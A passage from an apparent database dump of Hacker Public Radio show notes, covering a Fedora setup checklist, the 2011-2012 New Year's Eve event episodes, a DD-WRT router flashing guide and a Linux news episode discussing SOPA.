properly.<br />\r\n<strong>-pokey</strong>\r\n</p>\r\n<h2>Fedora Review</h2>\r\n<p>\r\nGot to RPM Fusion to get all the evil proprietary stuff.\r\n<a href=\"https://rpmfusion.org/Configuration/\">https://rpmfusion.org/Configuration/</a>\r\n</p>\r\n<p>\r\nFrom the console run \"yum update\" and accept the keys\r\n</p>\r\n<p>\r\nThen run \"yum install synergy openssh-server audacity-freeworld ffmpeg sox mplayer inkscape vlc vim firefox poppler-utils wget sshfs kdiff3 terminator kid3 speex-tools filezilla gimp hpijs kate kdiff3 kdirstat \r\n</p>\r\n<p>\r\n# systemctl start sshd.service\r\n# systemctl enable sshd.services\r\n</p>\r\n<p>\r\nFirewall restart\r\n</p>\r\n<p>\r\nFollow these instructions to get the vpn working <a href=\"https://kenfallon.com/how-to-install-checkpoint-ssl-extender-vpn-snx-under-fedora-16/\">https://kenfallon.com/how-to-install-checkpoint-ssl-extender-vpn-snx-under-fedora-16/</a>\r\n</p>\r\n<p>\r\nFollow these instructions to get the citrix working <a href=\"https://kenfallon.com/installing-citrix-on-fedora-14/\">https://kenfallon.com/installing-citrix-on-fedora-14/</a>\r\n</p>\r\n<p>\r\nChromium\r\n<a href=\"https://fedoraproject.org/wiki/Chromium\">https://fedoraproject.org/wiki/Chromium</a>\r\n-\r\nFlash\r\n<a href=\"https://get.adobe.com/flashplayer/\">https://get.adobe.com/flashplayer/</a>\r\n--\r\nskype.com download linux fedora install\r\n</p>',159,121,1,'CC-BY-SA','New Year,2012',0,2262,1),
(893,'2012-01-04','2011-2012 Hacker Public Radio New Year\'s Eve Part 3/8 (Everybody loves Crunchbang... except Klaatu)',3040,'HPR New Year 2012 #3','<h2>Hacker Public Radio-NYE Part 3 (Everybody loves Crunchbang... except Klaatu)</h2>\r\n<p>\r\nThis is the third part of the Hacker Public Radio New Year\'s Eve event and you can expect more of them all week long.\r\n</p>\r\n\r\n<h2>Thanks to:</h2>\r\n\r\n<ul>\r\n<li>PipeManMusic of the Open Source Musician\'s Podcast for the Murmur server, and audio streaming</li>\r\n<li>Tracy Holtz for stream mirror</li>\r\n<li>Dann Washko of The Linux Link Tech Show for stream mirror</li>\r\n<li>cobra2 for stream mirror</li>\r\n<li>John Neusteter for stream mirror</li>\r\n<li>KevinW for creating the Mumble How-To, and for manning the testing room during most of the show.</li>\r\n<li>Ken Fallon for being Ken Fallon</li>\r\n<li>The Hacker Public Radio Community for coming together and pulling this off, and for making it so much fun for everone. </li>\r\n</ul>\r\n\r\n<p>\r\nI was so wrapped up in the actual show, that it didn\'t occur to me to take notes and write down the names of all the people who helped us out. The few I listed above are all that I can remember 24 hours later. If you helped out in any way, and would like to be mentioned in the show notes of the remaining parts of this show (there will be a few of them) please email hpr (at) hackerpublicradio (dot) org with your name and I\'ll be glad to thank you publicly and properly.<br />\r\n<strong>-pokey</strong>\r\n</p>\r\n<p>Philip Newborough (aka corenominal) project lead for CrunchBang Linux and their community manager Rebecca Newborough join the session. We interviewed them back in <a href=\"https://hackerpublicradio.org/eps.php?id=0873\">hpr0873</a>\r\n</p>\r\n<p>\r\nCrunchBang is a Debian GNU/Linux based distribution offering a great blend of speed, style and substance. Using the nimble Openbox window manager, it is highly customisable and provides a modern, full-featured GNU/Linux system without sacrificing performance.</p>\r\n<p>\r\nIn September 2011, Philip gave up paid employment to concentrate on personal projects and is now working full-time on CrunchBang Linux. <strong>During the interview he mentioned that he couldn\'t afford to <a href=\"https://www.fosdem.org/2012/\">FOSDEM</a> so if you want you can throw him a few credits over at <a href=\"https://crunchbang.org/donate\">https://crunchbang.org/donate</a></strong>\r\n</p>\r\n\r\n<h2>Links</h2>\r\n<p>\r\n<a href=\"https://crunchbang.org/donate\">https://crunchbang.org/donate</a><br />\r\n<a href=\"https://www.fosdem.org/2012/\">https://www.fosdem.org/2012/</a><br />\r\n<a href=\"https://hackerpublicradio.org/eps.php?id=0873\">https://hackerpublicradio.org/eps.php?id=0873/</a><br />\r\n<a href=\"https://crunchbang.org/\">https://crunchbang.org/</a><br />\r\n<a href=\"https://www.ubuntu.com/\">https://www.ubuntu.com/</a><br />\r\n<a href=\"https://openbox.org/\">https://openbox.org/</a><br />\r\n<a href=\"https://www.xfce.org/\">https://www.xfce.org/</a><br />\r\n<a href=\"https://technologyserved.com/\">https://technologyserved.com/</a><br />\r\n<a href=\"https://en.wikipedia.org/wiki/CrunchBang_Linux\">https://en.wikipedia.org/wiki/CrunchBang_Linux</a><br />\r\n<a href=\"https://www.debian.org/\">https://www.debian.org/</a><br />\r\n</p>\r\n<hr/>\r\n',159,121,1,'CC-BY-SA','New Year,2012',0,2376,1),
(894,'2012-01-05','2011-2012 Hacker Public Radio New Year\'s Eve Part 4/8 (Mrs Corenominal brings the naughty)',5577,'HPR New Year 2012 #4','<p>\r\n<strong>May not be safe for work</strong><br />\r\nThis is episode four of a eight part Hacker Public Radio New Year\'s Eve event and you can expect more of them all week long.\r\n</p>\r\n\r\n<h2>Thanks to:</h2>\r\n\r\n<ul>\r\n<li>PipeManMusic of the Open Source Musician\'s Podcast for the Murmur server, and audio streaming</li>\r\n<li>Tracy Holtz for stream mirror</li>\r\n<li>Dann Washko of The Linux Link Tech Show for stream mirror</li>\r\n<li>cobra2 for stream mirror</li>\r\n<li>John Neusteter for stream mirror</li>\r\n<li>KevinW for creating the Mumble How-To, and for manning the testing room during most of the show.</li>\r\n<li>Ken Fallon for being Ken Fallon</li>\r\n<li>The Hacker Public Radio Community for coming together and pulling this off, and for making it so much fun for everone. </li>\r\n</ul>\r\n\r\n<p>\r\nI was so wrapped up in the actual show, that it didn\'t occur to me to take notes and write down the names of all the people who helped us out. The few I listed above are all that I can remember 24 hours later. If you helped out in any way, and would like to be mentioned in the show notes of the remaining parts of this show (there will be a few of them) please email hpr (at) hackerpublicradio (dot) org with your name and I\'ll be glad to thank you publicly and properly.<br />\r\n<strong>-pokey</strong>\r\n<hr/>\r\n<p>\r\nThis segment started with a discussion on accessibility. We are looking for a way to convert the audio to text so that deaf/hard of hearing people can enjoy our content. That lead to a discussion on Text to speech and that if you are uncomfortable or unable to record a show for HPR, then there are loads of people who will narrate a scrip for you.\r\n</p>\r\n<p>\r\nThe discussion turned to the question of how to pick topics for HPR and while the advice is to pick a topic that you\'re excited about you can always look at the Requested topics section of HPR at <a href=\"https://hackerpublicradio.org/contribute.php#requested_topics\">https://hackerpublicradio.org/contribute.php#requested_topics</a>. If there is something that you would like to hear then mail the mailing list at hpr@hackerpublicradio.org (which you can join at <a href=\"https://hackerpublicradio.org/maillist\">https://hackerpublicradio.org/maillist</a> ) or just email admin@hackerpublicradio.org and we\'ll add it to the Requested topic page.\r\n</p>\r\n<p>\r\nFor the record when we say topic we are not talking about the topic choclate bar.<br /> \r\n<a href=\"https://en.wikipedia.org/wiki/Topic_(chocolate_bar)\">https://en.wikipedia.org/wiki/Topic_(chocolate_bar)</a>\r\n</p>\r\n<p>\r\n<img src=\"https://upload.wikimedia.org/wikipedia/en/c/cb/Topic_%28chocolate_bar%29.jpg\" width=400 alt=\"Topic chocolate bar\"/>\r\n</p>\r\n<p>\r\nAfter discovering that HPR has a explicit tag in iTunes (<a href=\"https://www.apple.com/itunes/podcasts/specs.html#explicit\">https://www.apple.com/itunes/podcasts/specs.html#explicit</a>) the conversation took a turn to how the topic of Adult content and that there are two sides to the story.<br /> \r\n<a href=\"https://hackerpublicradio.org/eps.php?id=0069\">https://hackerpublicradio.org/eps.php?id=0069</a> There\'s Pr0n on them there internets!<br />\r\n<a href=\"https://hackerpublicradio.org/eps.php?id=0586\">https://hackerpublicradio.org/eps.php?id=0586</a> Miscellaneous Radio Theater 4096- The Internet is For Porn\r\n</p>\r\n<p>\r\nThis lead to the question of whither government censorship will force developments in how the Internet is used. This brought up mesh networks (we had a discussion in <a href=\"https://hackerpublicradio.org/eps.php?id=0837\">https://hackerpublicradio.org/eps.php?id=0069</a> with Juergen Schinker open wireless network) and how the Chaos Computer Club had a presentation on the Hackerspace Global Grid. From their FAQ \"We want to build a distributed network of ground stations to receive satellite communications. The first step is establishing a means of accurate synchronization for the distributed network. Next up are building various receiver modules (ADS-B, amateur satellites, etc) and data processing of received signals. A communication/control channel (read: sending data) is a future possibility but there are no fixed plans on how this could be implemented yet.\"\r\n<a href=\"https://shackspace.de/wiki/doku.php?id=project:hgg\">https://shackspace.de/wiki/doku.php?id=project:hgg</a> Hackerspace Global Grid. Sounds a bit like an open version of the Iridium satellite constellation\r\n<a href=\"https://en.wikipedia.org/wiki/Iridium_satellite_constellation\">https://en.wikipedia.org/wiki/Iridium_satellite_constellation</a> Iridium satellite constellation<br />\r\n</p>\r\n<p>\r\nAfter a discussion on Google+, the topic came on whither you needed to encode all 3 audio formats for HPR. The answer is <strong>no</strong>, not if you don\'t want to. If you do then you can download the script that Code Cruncher made from <a href=\"https://hackerpublicradio.org/incoming/processing/prep_audio.sh\">https://hackerpublicradio.org/incoming/processing/prep_audio.sh</a>. That said it\'s enough to upload the show in almost any format and we\'ll convert it.\r\n</p>\r\n<p>\r\nTo round off the segment was a discussion of the <a href=\"https://theflatearthsociety.org/cms/index.php\">https://theflatearthsociety.org/</a> who argue that \"The Flat Earth model is a belief that the Earth\'s shape is a plane or disk.\" (source wikipedia <a href=\"https://en.wikipedia.org/wiki/Flat_Earth_Theory\">https://en.wikipedia.org/wiki/Flat_Earth_Theory</a>. <br />\r\n.... Which inevitably lead to the <a href=\"https://en.wikipedia.org/wiki/Turtles_all_the_way_down\">https://en.wikipedia.org/wiki/Turtles_all_the_way_down</a> and of course that had to lead to <a href=\"https://www.terrypratchett.co.uk/\">https://www.terrypratchett.co.uk/</a> Terry Pratchett. At that point the Mumble server gave up and decided to go cry in a corner.\r\n</p>\r\n',159,121,1,'CC-BY-SA','New Year,2012',0,2259,1),
(895,'2012-01-06','2011-2012 Hacker Public Radio New Year\'s Eve Part 5/8 (Funding Free Culture)',5918,'HPR New Year 2012 #5','<p>\r\nThis is episode five of a eight part Hacker Public Radio New Year\'s Eve event and you can expect more of them all week long.\r\n</p>\r\n\r\n<h2>Thanks to:</h2>\r\n\r\n<ul>\r\n<li>PipeManMusic of the Open Source Musician\'s Podcast for the Murmur server, and audio streaming</li>\r\n<li>Tracy Holtz for stream mirror</li>\r\n<li>Dann Washko of The Linux Link Tech Show for stream mirror</li>\r\n<li>cobra2 for stream mirror</li>\r\n<li>John Neusteter for stream mirror</li>\r\n<li>KevinW for creating the Mumble How-To, and for manning the testing room during most of the show.</li>\r\n<li>Ken Fallon for being Ken Fallon</li>\r\n<li>The Hacker Public Radio Community for coming together and pulling this off, and for making it so much fun for everone. </li>\r\n</ul>\r\n\r\n<p>\r\nI was so wrapped up in the actual show, that it didn\'t occur to me to take notes and write down the names of all the people who helped us out. The few I listed above are all that I can remember 24 hours later. If you helped out in any way, and would like to be mentioned in the show notes of the remaining parts of this show (there will be a few of them) please email hpr (at) hackerpublicradio (dot) org with your name and I\'ll be glad to thank you publicly and properly.<br />\r\n<strong>-pokey</strong>\r\n<hr/>\r\n<p>\r\nThe discussion focused on how you can support free software and free culture with many paying more for \"Free\" software than they ever had for proprietary software. Many feel they pay what the can when they can.\r\n</p>\r\n<p>\r\nThe discussion move on to how artists can make a living. <br />\r\nShould we draw the line between digital replication and physical replication as copyright infringement, although illegal, is not stealing. Not every download is a lost sale and the argument was made that in some cases \"piracy\" promotes the use of the software. There was much talk of the continual increase of the copyright terms.\r\n</p>\r\n<p>\r\nTime was then devoted to how artists could be compensated for their art and several examples were brought up of alternative means of generating revenue by cutting out the record labels and other middle men. \r\n</p>\r\n<ul>\r\n<li><a href=\"https://kxstudio.sourceforge.net/Main_Page\">https://kxstudio.sourceforge.net/Main_Page</a>\r\n</li>\r\n<li><a href=\"https://www.joerogan.net/\">https://www.joerogan.net/</a>\r\n</li>\r\n<li><a href=\"https://blog.meetthegimp.org/\">https://blog.meetthegimp.org/</a>\r\n</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Louis_C.K\">https://en.wikipedia.org/wiki/Louis_C.K</a>.\r\n</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/House_of_Pain\">https://en.wikipedia.org/wiki/House_of_Pain</a>\r\n</li>\r\n<li><a href=\"https://venturebeat.com/2011/12/22/louis-cks-special-1-million/\">https://venturebeat.com/2011/12/22/louis-cks-special-1-million/</a>\r\n</li>\r\n<li><a href=\"https://www.examiner.com/comedy-in-boston/louis-ck-talks-new-sitcom-and-creative-freedom\">https://www.examiner.com/comedy-in-boston/louis-ck-talks-new-sitcom-and-creative-freedom</a>\r\n</li>\r\n</ul>\r\n',159,121,1,'CC-BY-SA','New Year,2012',0,2196,1),
(896,'2012-01-08','2011-2012 Hacker Public Radio New Year\'s Eve Part 6/8 (The Unix Fight and Thank You Kevin)',2449,'HPR New Year 2012 #6','<p>\r\nThis is episode six of a eight part Hacker Public Radio New Year\'s Eve event and you can expect more of them all week long.\r\n</p>\r\n\r\n<h2>Thanks to:</h2>\r\n\r\n<ul>\r\n<li>PipeManMusic of the Open Source Musician\'s Podcast for the Murmur server, and audio streaming</li>\r\n<li>Tracy Holtz for stream mirror</li>\r\n<li>Dann Washko of The Linux Link Tech Show for stream mirror</li>\r\n<li>cobra2 for stream mirror</li>\r\n<li>John Neusteter for stream mirror</li>\r\n<li>KevinW for creating the Mumble How-To, and for manning the testing room during most of the show.</li>\r\n<li>Ken Fallon for being Ken Fallon</li>\r\n<li>The Hacker Public Radio Community for coming together and pulling this off, and for making it so much fun for everone. </li>\r\n</ul>\r\n\r\n<p>\r\nI was so wrapped up in the actual show, that it didn\'t occur to me to take notes and write down the names of all the people who helped us out. The few I listed above are all that I can remember 24 hours later. If you helped out in any way, and would like to be mentioned in the show notes of the remaining parts of this show (there will be a few of them) please email hpr (at) hackerpublicradio (dot) org with your name and I\'ll be glad to thank you publicly and properly.<br />\r\n<strong>-pokey</strong>\r\n<hr/>\r\n',159,121,1,'CC-BY-SA','New Year,2012',0,2167,1),
(897,'2012-01-10','2011-2012 Hacker Public Radio New Year\'s Eve Part 7/8 (The Grand Finale)',6209,'HPR New Year 2012 #7','<p>\r\nThis is episode seven of a eight part Hacker Public Radio New Year\'s Eve event and you can expect more of them all week long.\r\n</p>\r\n\r\n<h2>Thanks to:</h2>\r\n\r\n<ul>\r\n<li>PipeManMusic of the Open Source Musician\'s Podcast for the Murmur server, and audio streaming</li>\r\n<li>Tracy Holtz for stream mirror</li>\r\n<li>Dann Washko of The Linux Link Tech Show for stream mirror</li>\r\n<li>cobra2 for stream mirror</li>\r\n<li>John Neusteter for stream mirror</li>\r\n<li>KevinW for creating the Mumble How-To, and for manning the testing room during most of the show.</li>\r\n<li>Ken Fallon for being Ken Fallon</li>\r\n<li>The Hacker Public Radio Community for coming together and pulling this off, and for making it so much fun for everone. </li>\r\n</ul>\r\n\r\n<p>\r\nI was so wrapped up in the actual show, that it didn\'t occur to me to take notes and write down the names of all the people who helped us out. The few I listed above are all that I can remember 24 hours later. If you helped out in any way, and would like to be mentioned in the show notes of the remaining parts of this show (there will be a few of them) please email hpr (at) hackerpublicradio (dot) org with your name and I\'ll be glad to thank you publicly and properly.<br />\r\n<strong>-pokey</strong>\r\n<hr/>\r\n',159,121,1,'CC-BY-SA','New Year,2012',0,2253,1),
(898,'2012-01-11','2011-2012 Hacker Public Radio New Year\'s Eve Part 8/8 (The After Show)',5806,'HPR New Year 2012 #8','<p>\r\nThis is episode eight of a eight part Hacker Public Radio New Year\'s Eve event and you can expect more of them all week long.\r\n</p>\r\n\r\n<h2>Thanks to:</h2>\r\n\r\n<ul>\r\n<li>PipeManMusic of the Open Source Musician\'s Podcast for the Murmur server, and audio streaming</li>\r\n<li>Tracy Holtz for stream mirror</li>\r\n<li>Dann Washko of The Linux Link Tech Show for stream mirror</li>\r\n<li>cobra2 for stream mirror</li>\r\n<li>John Neusteter for stream mirror</li>\r\n<li>KevinW for creating the Mumble How-To, and for manning the testing room during most of the show.</li>\r\n<li>Ken Fallon for being Ken Fallon</li>\r\n<li>The Hacker Public Radio Community for coming together and pulling this off, and for making it so much fun for everone. </li>\r\n</ul>\r\n\r\n<p>\r\nI was so wrapped up in the actual show, that it didn\'t occur to me to take notes and write down the names of all the people who helped us out. The few I listed above are all that I can remember 24 hours later. If you helped out in any way, and would like to be mentioned in the show notes of the remaining parts of this show (there will be a few of them) please email hpr (at) hackerpublicradio (dot) org with your name and I\'ll be glad to thank you publicly and properly.<br />\r\n<strong>-pokey</strong>\r\n<hr/>\r\n<p>\r\nHowdy folks, this is FiftyOneFifty.  <br />\r\nWhat you are about to hear is the result of me starting a mixdown recording in Mumble when Pokey said he was about ready to stop recording and go to bed.  While it\'s all pretty tame, it\'s not entirely safe for work.  I started recording sometime after midnight Central Time and the original file shows we talked for another two hours and fifteen minutes (deleting the pauses brings it down to about an hour and a half).  At the end it\'s just me and Cobra2, proving that as in real life, I never know when it\'s time to gracefully leave a party :)  <br />\r\nAmong the other voices you will hear are Pokey, Delwin, JNeuster, Deltaray, DoorToDoorGeek, and I thought it was especially cool when the world wrapped around and Ken Fallon came back in after having gone to bed the night before. I didn\'t have the forethought to make note of all the handles active in the room, and the festivities of the evening did not enhance my recall, so I apologize to those I have overlooked.  With the help of the community, I hope to get you proberly credited in the show notes, even if it is after the fact.  \r\n</p>\r\n<p>\r\nI regret I wasn\'t able to participate or listen too in the entire thirteen hour scheduled recording, since I am speaking to the future I am sure I will be enjoying those missed hours even as you hear this.  I want to add my voice in gratitude and congratulations to those who organized and participated in making this event a success.\r\n</p>\r\n<p>\r\n<strong>FiftyOneFifty</strong>\r\n',159,121,1,'CC-BY-SA','New Year,2012',0,2153,1),
(2332,'2017-07-11','Installing DD-WRT on ASUS RT-N66U',251,'Describes how to install DD-WRT router firmware on an ASUS RT-N66U router.','<h1 id=\"notes\">Notes</h1>\r\n<ul>\r\n<li>This worked for me, but it’s no guarantee it’ll work for you</li>\r\n<li>It’s been a couple weeks and I’m doing this from memory with the help of the resources I used, so I may have missed or misremembered a step</li>\r\n<li>Read the relevant documentation for yourself\r\n<ul>\r\n<li><a href=\"https://secure.dd-wrt.com/phpBB2/viewtopic.php?t=51486\">Peacock Thread</a></li>\r\n<li><a href=\"https://www.dd-wrt.com/wiki/index.php/Asus_RT-N66U\">ASUS RT-N66U Specific Page</a></li>\r\n</ul></li>\r\n<li>DO NOT use the router database to determine the firmware version to use</li>\r\n</ul>\r\n<h1 id=\"resetting-and-clearing\">Resetting and Clearing</h1>\r\n<ul>\r\n<li>Recovery Mode (use Reset Button):\r\n<ul>\r\n<li>With router unplugged, press reset button</li>\r\n<li>Plug in power</li>\r\n<li>Hold reset button for ~10 seconds until the power LED is blinking slowly</li>\r\n</ul></li>\r\n<li>Clear the NVRAM (use WPS Button):\r\n<ul>\r\n<li>With router unplugged, press WPS button</li>\r\n<li>Plug in power</li>\r\n<li>Hold WPS button for ~10 seconds</li>\r\n<li>Note: NVRAM is where the settings for the router are stored</li>\r\n</ul></li>\r\n<li>30-30-30 Reset\r\n<ul>\r\n<li>Push reset button with the router powered on for 30 seconds</li>\r\n<li>Pull the power cord for 30 seconds while holding the reset button</li>\r\n<li>Plug the power cord in for 30 seconds, while holding the reset button</li>\r\n</ul></li>\r\n</ul>\r\n<h1 id=\"upload-via-web-gui\">Upload via Web GUI</h1>\r\n<ul>\r\n<li>Tried using the Web GUI method, but ASUS firmware checks to see if it’s an official version (i.e. signed by ASUS), and will only install it if it is</li>\r\n<li>DD-WRT isn’t an official version, obviously, but not all is lost, uploading via recovery utility works</li>\r\n</ul>\r\n<h1 id=\"upload-via-recovery-utility\">Upload via Recovery Utility</h1>\r\n<ul>\r\n<li>Download router firmware: <a href=\"ftp://ftp.dd-wrt.com/betas/2015/02-04-2015-r26138/broadcom_K3X/dd-wrt.v24-26138_NEWD-2_K3.x-big-RT-N66U.trx\">dd-wrt.v24-26138_NEWD-2_K3.x-big-RT-N6UU.trx</a>\r\n<ul>\r\n<li>big version includes more tools than mega version</li>\r\n</ul></li>\r\n<li>Make the following network config information on the computer you’ll upload the firmware from:\r\n<ul>\r\n<li>IP = 192.168.1.12</li>\r\n<li>Subnet = 255.255.255.0</li>\r\n<li>Default Gateway = 192.168.1.1</li>\r\n</ul></li>\r\n<li>Perform 30-30-30 Reset</li>\r\n<li>Perform Clear NVRAM</li>\r\n<li>Perform Recovery Mode</li>\r\n<li>Navigate to 192.168.1.1 and follow screen directions to upload DD-WRT firmware</li>\r\n<li>It may take up to 10 minutes to reboot (don’t think it took that long, but I waited that long)</li>\r\n<li>Perform Recovery Mode</li>\r\n<li>Navigate to 192.168.1.1 and select Reset NVRAM</li>\r\n<li>Navigate to <a href=\"https://192.168.1.1/do.htm?cmd=nvram+commit\" class=\"uri\">https://192.168.1.1/do.htm?cmd=nvram+commit</a>, and then select reboot and wait ~10 minutes</li>\r\n<li>Perform 30-30-30 Reset</li>\r\n<li>Navigating to 192.168.1.1 should now bring you to your new DD-WRT installation\r\n<ul>\r\n<li>Remember to secure it</li>\r\n</ul></li>\r\n<li>Note: installing mini version (referenced in online directions) isn’t necessary prior to installing the big/mega version</li>\r\n</ul>\r\n<h1 id=\"resources\">Resources</h1>\r\n<ul>\r\n<li><a href=\"https://www.dd-wrt.com/phpBB2/viewtopic.php?p=753640\">Steps to take if you think you have a bricked router</a></li>\r\n<li><a href=\"https://www.dd-wrt.com/phpBB2/viewtopic.php?p=1038936\">Should use recovery mode and K3.x version</a></li>\r\n<li><a href=\"https://www.reddit.com/r/DDWRT/comments/50gcna/ddwrt_blocked_on_asus_routers/\">Non-official firmware is blocked</a></li>\r\n</ul>\r\n',358,0,1,'CC-BY-SA','router, dd-wrt',0,0,1),
(899,'2012-01-11','Sunday Morning Linux Review - New Year Show',5070,'SMLR New Year Show','Episode 012<br />\r\nhttps://smlr.us<br />\r\n<br />\r\nTotal Running Time 1hr 22:48<br />\r\n<br />\r\nIntro:<br />\r\n<br />\r\nMat Enders, Tony Bemus, and Mary Tomich<br />\r\nIntro Sound bite by Mike Tanner<br />\r\n<br />\r\nKernel News: Mat<br />\r\n<br />\r\nTime: 3:15<br />\r\n<br />\r\nLinux 3.2-rc7<br />\r\n<br />\r\nThere it is, likely the last -rc in before final 3.2, so please do check it out in between your holiday festivities.<br />\r\n<br />\r\nMost of the changes are faily simple one-liners, but some qla4xxx driver updates stand out and in fact account for about 40% of the diff (\"qla4xxx: fix flash/ddb support\"). That, together with a VMWare DRI driver update and some dvb updates and the regular random driver fixes means that 80+% of the changes are in drivers.<br />\r\n<br />\r\nSome net updates, some SH updates, and then a (tiny) smattering of other stuff. The appended shortlog gives the (fairly boring) details<br />\r\n- Linus<br />\r\n<br />\r\nDistro News: Tony<br />\r\n<br />\r\nTime: 7:14<br />\r\n<br />\r\nDistrowatch.com<br />\r\n<br />\r\n<ul>\r\n<li>1-1 openSUSE 12.1 Edu Li-f-e</li>\r\n<li>1-1 - aptosid 2011-03 -</li>\r\n<li>12-31 - siduction 11.1 - desktop-oriented distribution and live CD/DVD based on Debian’s unstable branch, recently forked from aptosid</li>\r\n<li>12-31 - ExTiX 9 - Ubuntu-based desktop distribution for 64-bit computers with GNOME Shell and Razor-qt as the available desktop environments and the latest stable Linux kernel</li>\r\n<li>12-31 - Linux Deepin 11.12 - from China based on Ubuntu, announced its 11.12 release on the last day of the year</li>\r\n<li>12-30 - Netrunner 4.0 - a Kubuntu-based desktop distribution featuring a carefully-tuned KDE desktop and integrated KDE and GNOME applications</li>\r\n<li>12-30 - Endian Firewall 2.5 - an updated version of the project’s Red Hat-based specialist distribution for firewalls</li>\r\n<li>12-26 - Calculate Linux 11.12 - Gentoo-based distribution set with focus on desktop and server computing</li>\r\n<li>12-26 - Tiny Core Linux 4.2 - a nomadic, ultra-small graphical desktop operating system</li>\r\n<li>12-25 - Superb Mini Server 1.6.3 - a Slackware-based distribution for servers</li>\r\n<li>12-25 - Semplice Linux 2.0.0 - a lightweight desktop distribution based on Debian’s unstable branch and featuring the Openbox window manager</li>\r\n<li>12-23 - Grml 2011.12 - a Debian-based live CD with an excellent collection of GNU/Linux software and scripts for system administrators</li>\r\n</ul>\r\n<h3>\r\nDistro of the Week: Tony\r\n</h3>\r\n<ul>\r\n<li>Debian - 1172</li>\r\n<li>CentOS - 1223</li>\r\n<li>Fedora - 1284</li>\r\n<li>Ubuntu - 1571</li>\r\n<li>Mint - 3909</li>\r\n</ul>\r\n\r\n<br />\r\nTech News:<br />\r\n<br />\r\nTime: 29:27<br />\r\nVote On SOPA Delayed Until Mid January At The Earliest<br />\r\n<br />\r\nThe SOPA (Stop Online Piracy Act) vote scheduled for 12/21/11 was postponed until January. A committee spokesperson said that they will not set a new vote date until they return from break in January. This means that the earliest that a scheduled vote could take place would be mid January. This is the second postponement of the committee vote on SOPA, which requires ISPs, Search Engines, and other content providers to alter DNS records and search results. Resulting in the censorship of foreign websites supposedly \"dedicated\" to providing copyright infringing material. The committee has already had two marathon sessions that ended abruptly after opponents expressed staunch apposition.<br />\r\n<br />\r\nThe artists are not the one behind this law. The huge corporations, lawyers, and boards who are pushing this incredibly bad legislation. Here is a list of the companies behind just one of the lobbying groups pushing SOPA:<br />\r\n<br />\r\n<ul>\r\n<li>ABC </li>\r\n<li>AFTRA - American Federation of Television and Radio Artists</li>\r\n<li>AFM - American Federation of Musicians</li>\r\n<li>AAP - Association of American Publishers</li>\r\n<li>ASCAP</li>\r\n<li>BMG Chrysalis</li>\r\n<li>BMI </li>\r\n<li>CBS Corporation</li>\r\n<li>Cengage Learning</li>\r\n<li>DGA - Directors Guild of America</li>\r\n<li>Disney Publishing Worldwide, Inc.</li>\r\n<li>EMI Music Publishing</li>\r\n<li>ESPN</li>\r\n<li>Graphic Artists Guild</li>\r\n<li>Hachette Book Group</li>\r\n<li>HarperCollins Publishers L.L.C.</li>\r\n<li>Hyperion</li>\r\n<li>IATSE - International Alliance of Theatrical Stage Employees, Moving Picture Technicians, Artists and Allied Crafts of the United States, its Territories and Canada</li>\r\n<li>International Brotherhood of Teamsters</li>\r\n<li>Kaufman Astoria Studios</li>\r\n<li>Macmillan</li>\r\n<li>Major League Baseball</li>\r\n<li>Marvel Entertainment, LLC</li>\r\n<li>McGraw-Hill Education</li>\r\n<li>MPA - The Association of Magazine Media</li>\r\n<li>NFL - National Football League</li>\r\n<li>National Music Publishers’ Association</li>\r\n<li>NBCUniversal</li>\r\n<li>News Corporation</li>\r\n<li>New York Production Alliance</li>\r\n<li>New York State AFL-CIO</li>\r\n<li>Pearson Education</li>\r\n<li>Penguin Group (USA), Inc.</li>\r\n<li>The Perseus Books Group</li>\r\n<li>Producers Guild of America East</li>\r\n<li>Random House</li>\r\n<li>Reed Elsevier</li>\r\n<li>SAG - Screen Actors Guild</li>\r\n<li>Scholastic, Inc.</li>\r\n<li>Silvercup Studios</li>\r\n<li>Simon &amp; Schuster, Inc.</li>\r\n<li>Sony Music Entertainment</li>\r\n<li>Sony/ATV Music Publishing</li>\r\n<li>Time Warner Inc.</li>\r\n<li>United States Tennis Association</li>\r\n<li>Universal Music Group</li>\r\n<li>Universal Music Publishing Group</li>\r\n<li>Viacom</li>\r\n<li>Warner Music Group</li>\r\n<li>W.W. Norton &amp; Company</li>\r\n<li>Wolters Kluwer</li>\r\n\r\n</ul>\r\n\r\n<br />\r\nNow you know who to boycott, but you also have to let them know why you are boycotting them.<br />\r\n<br />\r\nSeveral grassroots organizations along with a few tech companies are putting forth a strong effort against this legislation. They have had some effect as arguably the most egregious section has under gone a quick rewrite by Rep. Lamar Smith, Judiciary Committee chair and sponsor of this bill. The changes revealed on Monday 12/12/2011, make the definition of \"rogue websites\" more narrow. It also clarifies that the take down provisions only apply to foreign websites. There were also several changes intended to alleviate concerns that this legislation would interfere with the architecture of the Internet. Because as it it stands this bill would force American companies to break dns.<br />\r\n<br />\r\nThe NetCoalition which counts AOL, eBay, Facebook, foursquare, Google, IAC, Linkedin, Mozilla, OpnDNS, PayPal, Twitter, Wikipedia, Yahoo!, and the Zynga Game Netwrk as members is proposing a blackout day where all of these websites would go down and just show an anti-SOPA message to visitors when they come to these sites, claims Markham Erickson, who heads the NetCoalition trade association. If all of these sites went dark at the same time it would bring national commerce to a screeching halt. This action would also totally disrupt the lives of the majority of Americans hopefully alerting them to this serious issue and causing them to act.<br />\r\n<br />\r\nThere is still time to try and defeat this horrendous legislation and the people at \"DAILY KOS\" have made it incredibly easy. If you click on this link it will take you directly to a page the have set up that will walk you through sending your representative an email telling them to vote no on this steaming pile of fecal matter.<br />\r\n<br />\r\nGoDaddy Rescinds SOPA Support After Huge Boycott Initiative<br />\r\nFull disclosure, I have a domain registered with GoDaddy they are just the registrar not the host.<br />\r\n<br />\r\nOn 12/22/2011 the fact that GoDaddy was actively supporting SOPA (Stop Online Piracy Act). The really egregious part was that not only did GoDaddy support SOPA they actually took such an active roll as righting parts of it. So a boycott was started on reddit, which took off like wildfire across the internet. One day later they announced that they were withdrawing their support for SOPA. It is however to late for many high profile domains. Wikimedia Foundation’s Jimmy Wales announced on Twitter that all Wikimedia’s domains will be moved off of GoDaddy. Cheezburger’s Ben Huh also pledged to move his 1000+ domains off of GoDaddy. Hundreds maybe even thousands more people across the internet joined them in leaving GoDaddy. YCombinator founder, Paul Graham issued a ban on all employees of any company on the official list of SOPA supporters from attending YC Demo Day. Here is what he had to say about the ban:<br />\r\n<br />\r\n\"Several of those companies [on the list] send people to Demo Day, and when I saw the list I thought: we should stop inviting them. So yes, we’ll remove anyone from those companies from the Demo Day invite list,\" He then went on to say this: \"If these companies are so clueless about technology that they think SOPA is a good idea, how could they be good investors?\"<br />\r\nWarren Adelman, Go Daddy’s CEO, had this to say about them rescinding their support for 